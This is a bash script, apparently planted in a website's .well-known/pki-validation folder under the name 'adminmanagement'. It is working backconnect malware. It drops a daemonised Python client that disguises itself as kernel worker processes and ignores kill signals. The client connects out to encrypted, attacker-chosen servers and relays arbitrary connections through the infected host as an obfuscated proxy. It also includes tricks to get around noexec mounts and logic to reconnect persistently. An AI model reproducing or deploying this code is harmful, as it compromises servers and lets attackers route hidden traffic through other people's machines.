/home/fdhrevqn/new.fdhrd.org/.well-known/pki-validation/adminmanagement
#!/bin/bash
# Backconnect Python v26 FINAL - All features + All fixes
# BCPY_MARKER - unique identifier for pgrep isolation
N="bcpy";D=3;PD=""
# Encrypted server data (fill after using -e)
ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c"
# ═══════════════════════════════════════════════════════════════════════
# HELPER FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════
get_arch() {
local arch=$(uname -m 2>/dev/null || echo "x86_64")
case "$arch" in
x86_64|amd64) echo "x86_64" ;;
aarch64|arm64) echo "aarch64" ;;
i686|i386|i586) echo "i686" ;;
armv7l|armhf) echo "armv7" ;;
*) echo "x86_64" ;;
esac
}
find_writable() {
local dirs=(
"/tmp" "/var/tmp" "/dev/shm" "/run"
"/run/user/$UID" "/run/user/$(id -u 2>/dev/null)"
"$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}"
"/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)"
)
for d in "${dirs[@]}"; do
[ -z "$d" ] && continue
[ ! -d "$d" ] && continue
local tf="$d/.${N}_test_$$"
if touch "$tf" 2>/dev/null; then
rm -f "$tf" 2>/dev/null
echo "$d/.$N"
return 0
fi
done
echo ""
return 1
}
find_downloader() {
command -v curl &>/dev/null && { echo "curl"; return 0; }
command -v wget &>/dev/null && { echo "wget"; return 0; }
return 1
}
download_portable_python() {
local dest_dir="$1"
local arch=$(get_arch)
local dl=$(find_downloader)
[ -z "$dl" ] && return 1
[ -z "$dest_dir" ] && return 1
mkdir -p "$dest_dir" 2>/dev/null || return 1
local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415"
local filename=""
case "$arch" in
x86_64) filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;;
aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;;
i686) filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;;
*) return 1 ;;
esac
local url="$base_url/$filename"
local tarball="$dest_dir/python.tar.gz"
echo "Downloading portable Python (~25MB)..." >&2
if [ "$dl" = "curl" ]; then
curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1
else
wget -q -O "$tarball" "$url" 2>/dev/null || return 1
fi
[ ! -f "$tarball" ] && return 1
local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null)
[ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; }
echo "Extracting..." >&2
cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball"
[ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; }
[ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; }
return 1
}
find_python() {
local pythons=(
"python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8"
"/usr/bin/python3" "/usr/bin/python"
"/usr/local/bin/python3" "/usr/local/bin/python"
"/opt/python3/bin/python3" "/opt/python/bin/python"
"/bin/python3" "/bin/python"
)
for p in "${pythons[@]}"; do
if command -v "$p" &>/dev/null || [ -x "$p" ]; then
if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then
echo "$p"
return 0
fi
fi
done
# Check already downloaded portable
[ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; }
# Try to download portable
if [ -n "$PD" ]; then
local portable=$(download_portable_python "$PD")
[ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; }
fi
return 1
}
# ═══════════════════════════════════════════════════════════════════════
# ENCRYPTION FUNCTIONS
# ═══════════════════════════════════════════════════════════════════════
xc() {
local k="$1" d="$2" o="" i=0
local kl="${#k}"
[ "$kl" -eq 0 ] && { echo ""; return; }
while [ $i -lt ${#d} ]; do
local dc="${d:$i:2}"
[ ${#dc} -lt 2 ] && break
local db=$((16#$dc))
local ki=$((i/2%kl))
local kb=$(printf '%d' "'${k:$ki:1}")
local xb=$((db^kb))
o+=$(printf '%02x' $xb)
i=$((i+2))
done
echo "$o"
}
s2h() {
local s="$1" o="" i
for ((i=0;i<${#s};i++)); do
o+=$(printf '%02x' "'${s:$i:1}")
done
echo "$o"
}
h2s() {
local h="$1" o="" i
for ((i=0;i<${#h};i+=2)); do
o+=$(printf "\\x${h:$i:2}")
done
echo -e "$o"
}
enc_srv() {
local k="$1"; shift
echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""
}
dec_srv() {
[ -z "$2" ] && return
h2s "$(xc "$1" "$2")"
}
# ═══════════════════════════════════════════════════════════════════════
# PROCESS MANAGEMENT
# ═══════════════════════════════════════════════════════════════════════
fp() {
pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null
}
kt() {
local pids=$(fp "$1" "$2")
[ -z "$pids" ] && return 0
echo "$pids" | xargs -r kill -15 2>/dev/null
sleep 0.5
echo "$pids" | xargs -r kill -9 2>/dev/null
sleep 0.3
}
ka() {
local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null)
if [ -n "$pids" ]; then
echo "$pids" | xargs -r kill -15 2>/dev/null
sleep 1
pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null
fi
[ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null
[ -n "$PD" ] && rmdir "$PD" 2>/dev/null
echo "All Python clients killed"
exit 0
}
st() {
echo "═══════════════════════════════════════════"
echo " Backconnect Python v26 Status"
echo "═══════════════════════════════════════════"
echo " Python: $PYTHON"
echo " Arch: $(get_arch)"
echo " Directory: ${PD:-<none>}"
echo " ENC_DATA: ${ENC_DATA:+SET (${#ENC_DATA} chars)}"
[ -z "$ENC_DATA" ] && echo " ENC_DATA: <empty>"
echo "───────────────────────────────────────────"
echo " Running processes:"
local count=0
if [ -n "$PD" ] && [ -d "$PD" ]; then
for f in "$PD"/*.pid; do
[ -f "$f" ] || continue
local p=$(cat "$f" 2>/dev/null)
local n=$(basename "$f" .pid)
if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then
if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then
echo " ✓ $n (PID $p)"
count=$((count+1))
fi
fi
done
fi
[ $count -eq 0 ] && echo " (none)"
echo "═══════════════════════════════════════════"
exit 0
}
ir() {
pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0
[ -z "$PD" ] && return 1
local pidf="$PD/${1}_${2}.pid"
[ -f "$pidf" ] || return 1
local p=$(cat "$pidf" 2>/dev/null)
[ -z "$p" ] && return 1
kill -0 "$p" 2>/dev/null || return 1
grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null
}
# ═══════════════════════════════════════════════════════════════════════
# SPAWN FUNCTION
# ═══════════════════════════════════════════════════════════════════════
spawn() {
local host="$1" port="$2" id="$3"
if [ -z "$PD" ]; then
echo "No writable directory found"
return 1
fi
mkdir -p "$PD" 2>/dev/null
local pidf="$PD/${id}.pid"
local pyf="$PD/${id}.py"
cat > "$pyf" << PYEOF
#!/usr/bin/env python3
# BCPY_MARKER - DO NOT REMOVE
import socket,select,threading,random,time,os,sys,signal
try:
threading.stack_size(131072)
except:pass
def daemonize(pidfile):
if os.fork()>0:sys.exit(0)
os.setsid()
if os.fork()>0:sys.exit(0)
try:os.chdir("/")
except:pass
os.umask(0)
for fd in range(3,64):
try:os.close(fd)
except:pass
sys.stdin=open("/dev/null","r")
sys.stdout=open("/dev/null","w")
sys.stderr=open("/dev/null","w")
if pidfile:
try:
with open(pidfile,"w") as f:f.write(str(os.getpid()))
except:pass
def mask_process():
names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"]
suffix=["","/0","/1","/0:0","/0:1"]
pn=random.choice(names)+random.choice(suffix)
try:
import ctypes
libc=ctypes.CDLL("libc.so.6")
libc.prctl(15,pn.encode(),0,0,0)
except:pass
try:
with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15])
except:pass
H,P="${host}",${port}
PF="${pidf}"
daemonize(PF)
mask_process()
for s in[1,2,13,15]:
try:signal.signal(s,signal.SIG_IGN)
except:pass
x=bytearray([random.randint(0,254)for _ in range(50)])
def rc4(p,b,s,z):
L=len(p)
for i in range(z):b[s+i]^=p[i%L]
r=list(range(256));j=0
for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
i=j=0
for k in range(z):
i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
b[s+k]^=r[(r[i]+r[j])&255]
for i in range(z):b[s+i]^=p[i%L]
SS=None
SL=threading.Lock()
AL=threading.Lock()
sa=[0]*200
sk=[None]*200
wc=0
MAX_WORKERS=200
ALIVE=True
GEN=0
def ssend(d,gen):
global SS,GEN
try:
with SL:
if SS and gen==GEN:
SS.settimeout(10)
try:SS.sendall(d)
except:return 0
finally:SS.settimeout(None)
return 1
except:return 0
def worker(n,cs,b0,gen):
global sa,sk,wc,GEN,ALIVE
r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
ok=0
try:
if b0[7]==3:
dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1]
elif b0[7]==1:
dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
else:raise Exception()
cs.settimeout(15)
cs.connect((dom,pt))
cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
cs.settimeout(None)
with AL:
if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1
except:
try:cs.close()
except:pass
rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
if ok:
try:
while True:
with AL:
if sa[n]!=1 or gen!=GEN or not ALIVE:break
try:rl,_,el=select.select([cs],[],[cs],1)
except:break
if el:break
if rl:
try:d=cs.recv(65530)
except:break
if not d:break
buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
rc4(x,buf,0,3);rc4(x,buf,3,len(d))
if not ssend(bytes(buf),gen):break
except:pass
with AL:
sa[n]=0;sk[n]=None
if wc>0:wc-=1
try:cs.close()
except:pass
if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)
reconnect_delay=5
max_reconnect_delay=60
def main():
global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay
with AL:
GEN+=1;ALIVE=True;wc=0
for i in range(200):
sa[i]=0;c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
gen=GEN
rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
connected=False
try:
SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
SS.settimeout(15)
SS.connect((H,P))
SS.settimeout(None)
hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
rc4(x,hs,50,50);SS.sendall(bytes(hs))
connected=True;reconnect_delay=5
while ALIVE and gen==GEN:
if r4<4:
try:rl,_,el=select.select([SS],[],[SS],60)
except:break
if el:break
if not rl:
if time.time()-ka_time>60:
ka=bytearray(3);rc4(x,ka,0,3)
if not ssend(bytes(ka),gen):break
ka_time=time.time()
continue
try:d=SS.recv(4-r4)
except:break
if not d:break
b0.extend(d);r4+=len(d);ka_time=time.time()
if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
if r4==4:
if edx==0:
if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
if 0<ebx<200:
with AL:sa[ebx]=0;c=sk[ebx];sk[ebx]=None
if c:
try:c.close()
except:pass
r4=0;b0=bytearray()
else:
if edx>1048576:break
need=edx-rm
if need>0:
try:d=SS.recv(min(need,65536))
except:break
if not d:break
b0.extend(d);rm+=len(d)
if rm==edx:
rc4(x,b0,4,rm)
if b0[0]==0:
if 0<ebx<200:
with AL:
if wc>=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue
wc+=1
cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
t.start()
else:
if 0<ebx<200:
with AL:
if sa[ebx]==1 and sk[ebx]:
try:sk[ebx].settimeout(10);sk[ebx].sendall(bytes(b0[4:4+rm]))
except:pass
rm=0;r4=0;b0=bytearray()
except:pass
with AL:
if gen==GEN:ALIVE=False
try:SS.close()
except:pass
SS=None
time.sleep(1)
with AL:
for i in range(200):
if sa[i]!=0:
sa[i]=0;c=sk[i];sk[i]=None
if c:
try:c.close()
except:pass
if not connected:reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
time.sleep(reconnect_delay-1)
if ex:sys.exit(0)
while 1:
try:main()
except:
reconnect_delay=min(reconnect_delay*1.5,max_reconnect_delay)
time.sleep(reconnect_delay)
PYEOF
chmod +x "$pyf" 2>/dev/null
# Method 1: Direct execution
"$PYTHON" "$pyf" 2>/dev/null &
sleep 1
[ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
# Method 2: Via stdin (bypass noexec)
"$PYTHON" < "$pyf" 2>/dev/null &
sleep 1
[ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
# Method 3: Via pipe
cat "$pyf" | "$PYTHON" 2>/dev/null &
sleep 1
[ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
return 1
}
# ═══════════════════════════════════════════════════════════════════════
# INITIALIZATION
# ═══════════════════════════════════════════════════════════════════════
PD="$(find_writable)"
PYTHON="$(find_python)"
if [ -z "$PYTHON" ]; then
echo "ERROR: No Python 3 found"
echo "Searched: python3, python, /usr/bin/python3, etc."
echo "Auto-download also failed (need curl or wget)"
exit 1
fi
# ═══════════════════════════════════════════════════════════════════════
# MAIN LOGIC
# ═══════════════════════════════════════════════════════════════════════
SRV=();FORCE=0
case "${1:-}" in
-h|--help)
echo "Backconnect Python v26 FINAL"
echo ""
echo "Usage: $0 [options] [server:port ...]"
echo ""
echo "Options:"
echo " -e KEY srv:port... Encrypt server list"
echo " -d KEY [-f] Decrypt ENC_DATA and run"
echo " -k Kill all Python clients"
echo " -s Show status"
echo " -f Force restart"
echo " --download Download portable Python"
echo " -h, --help Show this help"
echo ""
echo "Examples:"
echo " $0 server.com:443 # Direct run"
echo " $0 srv1:443 srv2:8080 srv3:443 # Multiple servers"
echo " $0 -e mykey srv1:443 srv2:443 # Encrypt servers"
echo " $0 -d mykey # Decrypt and run"
echo " $0 -d mykey -f # Decrypt + force restart"
echo ""
echo "Current config:"
echo " Python: $PYTHON"
echo " Arch: $(get_arch)"
echo " Dir: ${PD:-<none>}"
exit 0
;;
-k) ka ;;
-s) st ;;
--download)
echo "Downloading portable Python..."
[ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; }
portable=$(download_portable_python "$PD")
if [ -n "$portable" ] && [ -x "$portable" ]; then
echo "Success: $portable"
"$portable" --version
else
echo "Download failed"
exit 1
fi
exit 0
;;
-e)
[ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; }
K="$2"; shift 2
[ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; }
enc_srv "$K" "$@"
echo ""
echo "Now insert this line into the script (replace ENC_DATA=\"\")"
echo "Then run: $0 -d $K"
exit 0
;;
-d)
[ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; }
K="$2"; shift 2
[ "${1:-}" = "-f" ] && { FORCE=1; shift; }
if [ -z "$ENC_DATA" ]; then
echo "ERROR: ENC_DATA is empty"
echo ""
echo "You need to:"
echo " 1. Run: $0 -e KEY server:port..."
echo " 2. Copy the output ENC_DATA=\"...\" into this script"
echo " 3. Then run: $0 -d KEY"
exit 1
fi
DE=$(dec_srv "$K" "$ENC_DATA")
if [ -z "$DE" ]; then
echo "ERROR: Decryption failed"
echo " ENC_DATA length: ${#ENC_DATA}"
echo " KEY length: ${#K}"
echo ""
echo "Make sure you use the same key for -e and -d"
exit 1
fi
for s in $DE; do
[[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443")
done
;;
-f)
FORCE=1; shift
for a in "$@"; do
[[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
done
;;
*)
for a in "$@"; do
[[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443")
done
;;
esac
[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; }
mkdir -p "$PD" 2>/dev/null
c=0
for s in "${SRV[@]}"; do
h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
c=$((c+1))
if ir "$h" "$p"; then
if [ "$FORCE" = "1" ]; then
printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p"
kt "$h" "$p"
sleep 0.5
else
echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
continue
fi
else
printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p"
fi
spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
[ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done. Use -s for status."